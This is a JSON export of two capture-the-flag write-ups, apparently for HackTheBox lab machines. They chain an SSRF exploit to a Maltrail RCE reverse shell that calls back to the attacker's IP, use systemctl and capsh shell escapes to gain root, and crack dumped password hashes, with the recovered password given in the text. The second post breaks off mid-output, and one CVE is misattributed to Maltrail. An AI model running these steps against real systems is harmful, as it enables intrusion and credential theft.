{"items":[{ "title": "Sau writeup", "tags": ["Writeups","HackTheBox","CTF","Request-Baskets-1.2.1","CVE-2023-27163","SSRF","Maltrail-0.53","RCE","Spawn-Shell-Systemctl-Pager"], "date": "July 30, 2023", "meta": "0xfederico", "author": "0xfederico", "content": "INDEX Enumeration Privesc pumaEnumeration nmap -A -p- -T4 10.10.11.224 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA) | 256 ec2eb105872a0c7db149876495dc8a21 (ECDSA) |_ 256 b30c47fba2f212ccce0b58820e504336 (ED25519) 80/tcp filtered http 8338/tcp filtered unknown 55555/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 400 Bad Request | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Sun, 30 Jul 2023 20:04:04 GMT | Content-Length: 75 | invalid basket name; the name does not match pattern: ^[wd-_\\.]{1,250}$ | GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Type: text/html; charset=utf-8 | Location: /web | Date: Sun, 30 Jul 2023 20:03:38 GMT | Content-Length: 27 | href=\"/web\">Found</a>. | HTTPOptions: | HTTP/1.0 200 OK | Allow: GET, OPTIONS | Date: Sun, 30 Jul 2023 20:03:38 GMT |_ Content-Length: 0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port55555-TCP:V=7.93%I=7%D=7/30%Time=64C6C21A%P=x86_64-pc-linux-gnu%r(G SF:etRequest,A2,\"HTTP/1\\.0\\x20302\\x20Found\\r\\nContent-Type:\\x20text/html;\\ SF:x20charset=utf-8\\r\\nLocation:\\x20/web\\r\\nDate:\\x20Sun,\\x2030\\x20Jul\\x20 SF:2023\\x2020:03:38\\x20GMT\\r\\nContent-Length:\\x2027\\r\\n\\r\\n<a\\x20href=\\\"/w SF:eb\\\">Found</a>\\.\\n\\n\")%r(GenericLines,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Re SF:quest\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x SF:20close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(HTTPOptions,60,\"HTTP/1\\.0\\x202 SF:00\\x20OK\\r\\nAllow:\\x20GET,\\x20OPTIONS\\r\\nDate:\\x20Sun,\\x2030\\x20Jul\\x20 SF:2023\\x2020:03:38\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\")%r(RTSPRequest SF:,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain; SF:\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\" SF:)%r(Help,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20tex SF:t/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20 SF:Request\")%r(SSLSessionReq,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nCon SF:tent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\ SF:r\\n400\\x20Bad\\x20Request\")%r(TerminalServerCookie,67,\"HTTP/1\\.1\\x20400\\ SF:x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nC SF:onnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(TLSSessionReq,67,\" SF:HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20c SF:harset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\")%r(K SF:erberos,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text SF:/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20R SF:equest\")%r(FourOhFourRequest,EA,\"HTTP/1\\.0\\x20400\\x20Bad\\x20Request\\r\\n SF:Content-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nX-Content-Type-Options SF::\\x20nosniff\\r\\nDate:\\x20Sun,\\x2030\\x20Jul\\x202023\\x2020:04:04\\x20GMT\\r SF:\\nContent-Length:\\x2075\\r\\n\\r\\ninvalid\\x20basket\\x20name;\\x20the\\x20nam SF:e\\x20does\\x20not\\x20match\\x20pattern:\\x20\\^\\[\\\\w\\\\d\\\\-_\\\\\\.\\]{1,250}\\$\\ SF:n\")%r(LPDString,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type: SF:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20 SF:Bad\\x20Request\")%r(LDAPSearchReq,67,\"HTTP/1\\.1\\x20400\\x20Bad\\x20Request SF:\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf-8\\r\\nConnection:\\x20clo SF:se\\r\\n\\r\\n400\\x20Bad\\x20Request\"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel by opening the site http://10.10.11.224:55555/web I see that it hosts request-baskets at version 1.2.1 which is vulnerable to CVE-2023-27163. The exploit for this SSRF is https://github.com/entr0pie/CVE-2023-27163 I use the exploit to access local resources listed by nmap through the proxy offered by request-baskets: ./CVE-2023-27163.sh \"http://10.10.11.224:55555\" \"http://127.0.0.1:8338\" ./CVE-2023-27163.sh \"http://10.10.11.224:55555\" \"http://127.0.0.1:80\" NOTE: for the exploit to actually work you need to visit/query the URL that request-baskets returns (ex: http://10.10.11.224:55555/sflzwb) by opening the URL from the browser in both cases Maltrail version 0.53 is hosted, in the first case it seems not to work due to the broken CSS while in the second case you see the login screen. This specific version is vulnerable to CVE-2023-27163. The exploit for this Unauthenticated RCE is: https://github.com/spookier/Maltrail-v0.53-Exploit I listen with netcat on port 4444: nc -lnvp 4444 python3 exploit.py $(ifconfig tun0 | grep inet | head -n 1 | awk '{ print $2 }') 4444 http://10.10.11.224:55555/sflzwb/login bingo! I got reverse shell as user Privesc puma I get a better shell with: python -c ‘import pty; pty.spawn(“/bin/bash”)’ sudo -l Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service I can become root very simply via: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/#spawn-shell-in-the-pager another reference: https://gtfobins.github.io/gtfobins/systemctl/ !sh so if I can run systemctl status foo as root I can spawn another shell in it as root! NOTE: It’s exactly the same for vim: https://gtfobins.github.io/gtfobins/vim/ " },{ "title": "MonitorsTwo writeup", "tags": ["Writeups","HackTheBox","CTF","Cacti-1.2.22","CVE-2022-46169","Docker-Container-Breakout","Docker-Enumeration","Brute-Force","Docker-20.10.5","CVE-2021-41091"], "date": "May 11, 2023", "meta": "0xfederico", "author": "0xfederico", "content": "INDEX Enumeration Docker container breakout Privesc www-data Privesc marcusEnumeration nmap -A -p- -T4 10.10.11.211 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA) | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Login to Cacti |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The site shows the login page of the cacti software, from the source of the page I can get the version: <div class='versionInfo'>Version 1.2.22 | (c) 2004-2023 - The Cacti Group</div> I google if there are any CVEs on this specific version and I find one: CVE-2022-46169 The corresponding exploit: https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit Just follow the steps in the repo to get a shell as www-data Docker container breakout I run linpeas.sh: ╔══════════╣ Executing Linux Exploit Suggester 2 ╚ https://github.com/jondonas/linux-exploit-suggester-2 ╔══════════╣ Protections ═╣ AppArmor enabled? .............. AppArmor Not Found ═╣ AppArmor profile? .............. docker-default (enforce) ═╣ is linuxONE? ................... s390x Not Found ═╣ grsecurity present? ............ grsecurity Not Found ═╣ PaX bins present? .............. PaX Not Found ═╣ Execshield enabled? ............ Execshield Not Found ═╣ SELinux enabled? ............... sestatus Not Found ═╣ Seccomp enabled? ............... enabled ═╣ User namespace? ................ enabled ═╣ Cgroup2 enabled? ............... enabled ═╣ Is ASLR enabled? ............... Yes ═╣ Printer? ....................... No ═╣ Is this a virtual machine? ..... Yes ╔═══════════╗ ═══════════════════════════════════╣ Container ╠═══════════════════════════════════ ╚═══════════╝ ╔══════════╣ Container related tools present (if any): ╔══════════╣ Am I Containered? ╔══════════╣ Container details ═╣ Is this a container? ........... docker ═╣ Any running containers? ........ No ╔══════════╣ Docker Container details ═╣ Am I inside Docker group ....... No ═╣ Looking and enumerating Docker Sockets (if any): ═╣ Docker version ................. Not Found ═╣ Vulnerable to CVE-2019-5736 .... Not Found ═╣ Vulnerable to CVE-2019-13139 ... Not Found ═╣ Rootless Docker? ............... No ╔══════════╣ Container & breakout enumeration ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout ═╣ Container ID ................... 50bca5e748b0 ═╣ Container Full ID .............. 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e ═╣ Seccomp enabled? ............... enabled ═╣ AppArmor profile? .............. docker-default (enforce) ═╣ User proc namespace? ........... enabled 0 0 4294967295 ═╣ Vulnerable to CVE-2019-5021 .... No ══╣ Breakout via mounts ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts ═╣ /proc mounted? ................. Yes ═╣ /dev mounted? .................. No ═╣ Run ushare ..................... No ═╣ release_agent breakout 1........ No ═╣ release_agent breakout 2........ No ═╣ core_pattern breakout .......... No ═╣ binfmt_misc breakout ........... No ═╣ uevent_helper breakout ......... No ═╣ is modprobe present ............ No ═╣ DoS via panic_on_oom ........... No ═╣ DoS via panic_sys_fs ........... No ═╣ DoS via sysreq_trigger_dos ..... No ═╣ /proc/config.gz readable ....... No ═╣ /proc/sched_debug readable ..... Yes ═╣ /proc/*/mountinfo readable ..... Yes ═╣ /sys/kernel/security present ... Yes ═╣ /sys/kernel/security writable .. No ══╣ Namespaces ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces total 0 lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 ipc -> ipc:[4026532656] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 mnt -> mnt:[4026532654] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 net -> net:[4026532659] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 pid -> pid:[4026532657] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 pid_for_children -> pid:[4026532657] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 user -> user:[4026531837] lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 uts -> uts:[4026532655] ╔══════════╣ Container Capabilities ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape Current: cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=eip Bounding set =cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap Ambient set = Current IAB: cap_chown,!cap_dac_override,!cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,!cap_linux_immutable,cap_net_bind_service,!cap_net_broadcast,!cap_net_admin,cap_net_raw,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,cap_sys_chroot,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,cap_audit_write,!cap_audit_control,cap_setfcap,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) secure-no-ambient-raise: no (unlocked) uid=33(root) euid=0(root) gid=33(www-data) groups=33(www-data) Guessed mode: UNCERTAIN (0) ╔══════════╣ Possible Entrypoints -rw-r--r-- 1 root root 648 Jan 5 11:37 /entrypoint.sh -rw-r--r-- 1 www-data www-data 811K Apr 25 08:27 /tmp/linpeas.sh -rwxr-xr-x 1 www-data www-data 46K May 9 09:05 /tmp/linenum.sh -rwxr-xr-x 1 www-data www-data 648 May 11 14:54 /tmp/entrypoint.sh ╔══════════╣ Searching ssl/ssh files ══╣ Possible private SSH keys were found! /var/www/html/include/vendor/phpseclib/Crypt/RSA.php ╔══════════╣ Unexpected in root /.dockerenv /entrypoint.sh ╔══════════╣ Searching passwords in config PHP files #$rdatabase_password = 'cactiuser'; $database_password = 'root'; $password = $value; $password = $database_password; ╔════════════════════════════════════╗ ══════════════════════╣ Files with Interesting Permissions ╠══════════════════════ ╚════════════════════════════════════╝ ╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid strace Not Found -rwsr-xr-x 1 root root 87K Feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 63K Feb 7 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 52K Feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 58K Feb 7 2020 /usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 44K Feb 7 2020 /usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 31K Oct 14 2020 /sbin/capsh -rwsr-xr-x 1 root root 55K Jan 20 2022 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 35K Jan 20 2022 /bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 71K Jan 20 2022 /bin/su As linpeas says I’m inside a docker container, I can become root of the container by simply following: https://gtfobins.github.io/gtfobins/capsh/ capsh --gid=0 --uid=0 -- At this point I “wasted” (it was fun) a lot of time trying to breakout the docker container, I list all the resources I tried: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/namespaces https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#capabilities-abuse-escape https://docs.docker.com/engine/security/seccomp/ https://github.com/moby/moby/blob/master/profiles/seccomp/default.json https://pet2cattle.com/2022/01/container-escape https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf https://github.com/earthquake/chw00t/ https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_net_raw Here is a small summary: cap_net_raw: I could at best see network traffic or craft malicious packets cap_sys_chroot: permits the use of the chroot system call but inside the container cat /proc/sched_debug → empty file ls -al /sys/kernel/security → empty folder cat /proc/$$/mountinfo 695 594 0:62 / / rw,relatime master:274 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/overlay2/l/CXAW6LQU6QOKNSSNURRN2X4JEH:/var/lib/docker/overlay2/l/YWNFANZGTHCUIML4WUIJ5XNBLJ:/var/lib/docker/overlay2/l/JWCZSRNDZSQFHPN75LVFZ7HI2O:/var/lib/docker/overlay2/l/DGNCSOTM6KEIXH4KZVTVQU2KC3:/var/lib/docker/overlay2/l/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:/var/lib/docker/overlay2/l/K5DOR3JDWEJL62G4CATP62ONTO:/var/lib/docker/overlay2/l/FGHBJKAFBSAPJNSTCR6PFSQ7ER:/var/lib/docker/overlay2/l/PDO4KALS2ULFY6MGW73U6QRWSS:/var/lib/docker/overlay2/l/MGUNUZVTUDFYIRPLY5MR7KQ233:/var/lib/docker/overlay2/l/VNOOF2V3SPZEXZHUKR62IQBVM5:/var/lib/docker/overlay2/l/CDCPIX5CJTQCR4VYUUTK22RT7W:/var/lib/docker/overlay2/l/G4B75MXO7LXFSK4GCWDNLV6SAQ:/var/lib/docker/overlay2/l/FRHKWDF3YAXQ3LBLHIQGVNHGLF:/var/lib/docker/overlay2/l/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:/var/lib/docker/overlay2/l/W2EMLMTMXN7ODPSLB2FTQFLWA3:/var/lib/docker/overlay2/l/QRABR2TMBNL577HC7DO7H2JRN2:/var/lib/docker/overlay2/l/7IGVGYP6R7SE3WFLYC3LOBPO4Z:/var/lib/docker/overlay2/l/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,xino=off 696 695 0:65 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw 697 695 0:66 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755 698 697 0:67 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666 699 695 0:68 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro 700 699 0:69 / /sys/fs/cgroup rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,mode=755 701 700 0:31 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/systemd ro,nosuid,nodev,noexec,relatime master:11 - cgroup cgroup rw,xattr,name=systemd 702 700 0:34 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/rdma ro,nosuid,nodev,noexec,relatime master:15 - cgroup cgroup rw,rdma 703 700 0:35 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/net_cls,net_prio ro,nosuid,nodev,noexec,relatime master:16 - cgroup cgroup rw,net_cls,net_prio 704 700 0:36 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/cpuset ro,nosuid,nodev,noexec,relatime master:17 - cgroup cgroup rw,cpuset 705 700 0:37 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/memory ro,nosuid,nodev,noexec,relatime master:18 - cgroup cgroup rw,memory 706 700 0:38 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/pids ro,nosuid,nodev,noexec,relatime master:19 - cgroup cgroup rw,pids 707 700 0:39 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/freezer ro,nosuid,nodev,noexec,relatime master:20 - cgroup cgroup rw,freezer 708 700 0:40 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/devices ro,nosuid,nodev,noexec,relatime master:21 - cgroup cgroup rw,devices 709 700 0:41 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/blkio ro,nosuid,nodev,noexec,relatime master:22 - cgroup cgroup rw,blkio 710 700 0:42 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/cpu,cpuacct ro,nosuid,nodev,noexec,relatime master:23 - cgroup cgroup rw,cpu,cpuacct 711 700 0:43 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/perf_event ro,nosuid,nodev,noexec,relatime master:24 - cgroup cgroup rw,perf_event 712 700 0:44 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/hugetlb ro,nosuid,nodev,noexec,relatime master:25 - cgroup cgroup rw,hugetlb 713 697 0:64 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw 714 695 8:2 /root/cacti/entrypoint.sh /entrypoint.sh rw,relatime - ext4 /dev/sda2 rw 715 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda2 rw 716 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/hostname /etc/hostname rw,relatime - ext4 /dev/sda2 rw 717 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/hosts /etc/hosts rw,relatime - ext4 /dev/sda2 rw 718 697 0:63 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k 595 696 0:65 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw 640 696 0:65 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw 656 696 0:65 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw 657 696 0:65 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw 658 696 0:65 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw 659 696 0:70 / /proc/acpi ro,relatime - tmpfs tmpfs ro 662 696 0:66 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755 663 696 0:66 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755 664 696 0:66 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755 665 696 0:66 /null /proc/sched_debug rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755 666 696 0:71 / /proc/scsi ro,relatime - tmpfs tmpfs ro 667 699 0:72 / /sys/firmware ro,relatime - tmpfs tmpfs ro I don’t see any juicy information except: 714 695 8:2 /root/cacti/entrypoint.sh /entrypoint.sh rw,relatime - ext4 /dev/sda2 rw Privesc www-data cat /entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo \"database is connected\" if [[ ! $(mysql --host=db --user=root --password=root cacti -e \"show tables\") =~ \"automation_devices\" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e \"UPDATE user_auth SET must_change_password='' WHERE username = 'admin'\" mysql --host=db --user=root --password=root cacti -e \"SET GLOBAL time_zone = 'UTC'\" fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ \"${1#-}\" != \"$1\" ]; then set -- apache2-foreground \"$@\" fi exec \"$@\" mysql --host=db --user=root --password=root cacti -e \"select * from user_auth\" id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms 1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1 on -1 -1 -1 0 0 663348655 3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 0 0 4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1 on -1 -1 on 0 0 2135691668 hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey sshpass -p 'funkymonkey' ssh marcus@10.10.11.211 → bingo! Privesc marcus I run linpeas.sh another time: ╔════════════════════════════════════════════════╗ ════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════ ╚════════════════════════════════════════════════╝ ╔══════════╣ Cleaned processes ╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes root 1332 8.1 0.2 1871684 8840 ? Sl 13:58 16:00 _ /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80 root 1234 0.0 0.2 1451676 11060 ? Sl 13:58 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock root 1347 1.3 0.3 1526816 12388 ? Sl 13:58 2:37 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock ╔══════════╣ Unix Sockets Listening ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets /org/kernel/linux/storage/multipathd /run/containerd/containerd.sock /run/containerd/containerd.sock.ttrpc /run/containerd/s/3d0e892b2368988ed864212a06a26fc0d3026d9d352244a0de8476d495a42d24 /run/containerd/s/7e9e38233b837179435001338e8ed956bc31f9552bcb32ce4ac3ecc10dd42d4e /run/dbus/system_bus_socket └─(Read Write) /run/docker.sock /var/run/docker/libnetwork/ddef31f2ba37.sock /var/run/docker/metrics.sock ╔══════════╣ Analyzing Apache-Nginx Files (limit 70) Apache version: apache2 Not Found httpd Not Found Nginx version: ══╣ Nginx modules ngx_http_image_filter_module.so ngx_http_xslt_filter_module.so ngx_mail_module.so ngx_stream_module.so ══╣ PHP exec extensions drwxr-xr-x 2 root root 4096 Mar 22 13:21 /etc/nginx/sites-enabled lrwxrwxrwx 1 root root 34 Jan 9 10:03 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default server { listen 80 default_server; listen [::]:80 default_server; server_name cacti.monitorstwo.htb; server_name _; location / { proxy_pass http://127.0.0.1:8080/; } } ╔══════════╣ Searching ssl/ssh files PermitRootLogin yes ╔══════════╣ Searching docker files (limit 70) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation lrwxrwxrwx 1 root root 33 Jan 5 09:50 /etc/systemd/system/sockets.target.wants/docker.socket -> /lib/systemd/system/docker.socket -rw-r--r-- 1 root root 295 Feb 25 2021 /usr/lib/systemd/system/docker.socket -rw-r--r-- 1 root root 0 Jan 5 09:50 /var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/docker.socket ╔══════════╣ Searching folders owned by me containing others files on it (limit 100) /home/marcus /sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service /sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service reference for systemd cgroups: https://opensource.com/article/20/10/cgroups systemctl -t slice --all UNIT LOAD ACTIVE SUB DESCRIPTION -.slice loaded active active Root Slice system-getty.slice loaded active active system-getty.slice system-modprobe.slice loaded active active system-modprobe.slice system.slice loaded active active System Slice user-1000.slice loaded active active User Slice of UID 1000 user.slice loaded active active User and Session Slice LOAD = Reflects whether the unit definition was properly loaded. ACTIVE = The high-level unit activation state, i.e. generalization of SUB. SUB = The low-level unit activation state, values depend on unit type. 6 loaded units listed. To show all installed unit files use 'systemctl list-unit-files'. systemd-cgls (explore the cgroup hierarchy) ├─user.slice │ └─user-1000.slice │ ├─session-10.scope │ │ ├─38196 sshd: marcus [priv] │ │ ├─38285 sshd: marcus@pts/1 │ │ └─38286 -bash │ ├─user@1000.service │ │ ├─init.scope │ │ │ ├─6413 /lib/systemd/systemd --user │ │ │ └─6415 (sd-pam) │ │ └─gpg-agent.service │ │ └─30485 /usr/bin/gpg-agent --supervised │ ├─session-14.scope │ │ ├─108223 sshd: marcus [priv] │ │ ├─108316 sshd: marcus@pts/4 │ │ └─108317 -bash │ ├─session-11.scope │ │ ├─ 39236 sshd: marcus [priv] │ │ ├─ 39364 sshd: marcus@pts/2 │ │ ├─ 39365 -bash │ │ ├─ 55943 bash │ │ ├─ 55950 bash -p │ │ ├─ 90807 bash -p │ │ ├─ 90817 script 